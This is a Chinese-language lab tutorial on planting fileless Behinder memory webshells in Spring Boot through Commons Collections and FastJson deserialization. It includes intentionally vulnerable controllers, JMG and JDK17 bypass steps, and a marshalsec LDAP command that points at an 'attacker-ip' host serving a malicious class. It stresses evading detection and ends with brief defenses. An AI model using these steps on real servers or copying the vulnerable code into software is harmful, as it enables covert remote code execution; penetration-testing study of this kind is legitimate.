如果通过反序列化进行打马
字数 1542 2025-08-29 08:29:58
反序列化攻击与内存马注入技术详解
1. 为什么要进行内存马注入
传统的反序列化攻击通常以"弹计算器"作为验证成功的标志,但这在实际攻击中存在局限性:
- 命令执行结果不可见:攻击者无法直接看到命令执行结果,因为结果只在服务器端呈现
- 反弹shell的缺陷:
- 反弹shell的流量特征明显
- 容易被安全设备检测和拦截
内存马注入的优势:
- 直接在目标服务器内存中植入Webshell
- 冰蝎马等工具提供加密流量,规避检测
- 无文件落地,隐蔽性高
2. 靶场环境搭建(SpringBoot2 + JDK8)
2.1 项目配置
Maven项目配置(pom.xml):
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<spring-boot-dependencies.version>2.7.2</spring-boot-dependencies.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>${spring-boot-dependencies.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
2.2 核心代码实现
SpringBoot启动类:
package org.example;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class DemoApplication {
public static void main(String[] args) {
SpringApplication.run(DemoApplication.class, args);
}
}
Controller类(存在反序列化漏洞):
package org.example.controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
@RestController
public class DemoController {
@PostMapping("/Behinder")
public String hello(String data) throws Exception {
byte[] decodedBytes = Base64.getDecoder().decode(data);
Object object = deserialize(decodedBytes);
System.out.println(object);
return "冰蝎马测试";
}
private Object deserialize(byte[] bytes) throws Exception {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}
}
3. 内存马注入实战
3.1 使用JMG工具生成冰蝎马
步骤:
- 下载JMG工具(Java Memory Shell Generator)
- 选择Tomcat作为中间件(SpringBoot默认使用Tomcat)
- 关键配置:必须勾选
AbstractTranslet选项(CC链依赖) - 设置冰蝎马的Class文件路径
3.2 生成恶意序列化数据
示例代码(需根据实际情况修改):
// 使用CC链生成恶意序列化数据
// 注意替换实际的Class文件路径
3.3 攻击步骤
- 将生成的bin文件进行Base64编码
- 对Base64结果进行URL编码(必须步骤)
- 构造HTTP请求发送到目标端点
/Behinder - 忽略服务器可能的报错响应
3.4 连接验证
使用冰蝎客户端连接:
- 地址:目标服务器地址
- 密码:默认冰蝎密码或自定义密码
- 注意选择正确的加密方式和请求头
4. JDK17环境下的解决方案
4.1 问题分析
JDK17引入了模块化系统,导致反序列化受限:
- 调用者模块和被调用者模块必须相同
- 或调用者模块与Object类所在模块相同
4.2 解决方案
-
使用SpringBoot3 + JDK17环境
-
JMG生成冰蝎马时:
- 选择
jakarta监听器(高版本包名变化) - 注入器包名必须是
org.apache.commons.collections.functors的子类 - 勾选
ByPass JDK Module选项
- 选择
-
攻击流程:
- 生成Base64编码的恶意数据
- 发送请求(500或200响应都可能成功)
- 使用冰蝎连接验证
5. LDAP打马技术
5.1 适用场景
- FastJson 1.2.24及以下版本
- Log4j2漏洞
- 需要外连的JNDI注入场景
5.2 环境搭建
- 添加FastJson依赖:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
- 修改Controller:
@PostMapping("/fastjson")
public String fastjson(@RequestBody String data) {
JSON.parse(data); // 存在反序列化漏洞
return "FastJson Test";
}
5.3 攻击步骤
- 编写恶意Class(BehinderTest)并编译
- 开启HTTP服务托管class文件
- 使用marshalsec搭建LDAP服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker-ip:8000/#BehinderTest" 7777 - 构造恶意请求触发LDAP查询
- 目标服务器加载并执行恶意类
- 使用冰蝎连接内存马
5.4 高版本JDK8绕过
对于JDK8u191+版本:
- 使用本地工厂类绕过
- 限制:SpringBoot版本不能太高(某些版本修复了此问题)
- 需要自定义攻击Payload
6. 防御建议
- 升级JDK到最新版本
- 使用安全的反序列化库或禁用危险功能
- 对输入数据进行严格过滤
- 部署RASP等运行时防护
- 监控异常网络流量和内存行为
7. 工具列表
- JMG (Java Memory Shell Generator) - 内存马生成工具
- marshalsec - JNDI攻击工具
- 冰蝎 - 加密Webshell管理工具
- ysoserial - 反序列化Payload生成工具
8. 注意事项
- 所有技术仅用于合法授权测试
- 实际攻击中需要考虑流量加密和混淆
- 不同中间件需要选择对应的内存马类型
- 高版本环境需要特殊处理模块化限制
- 测试前务必做好环境隔离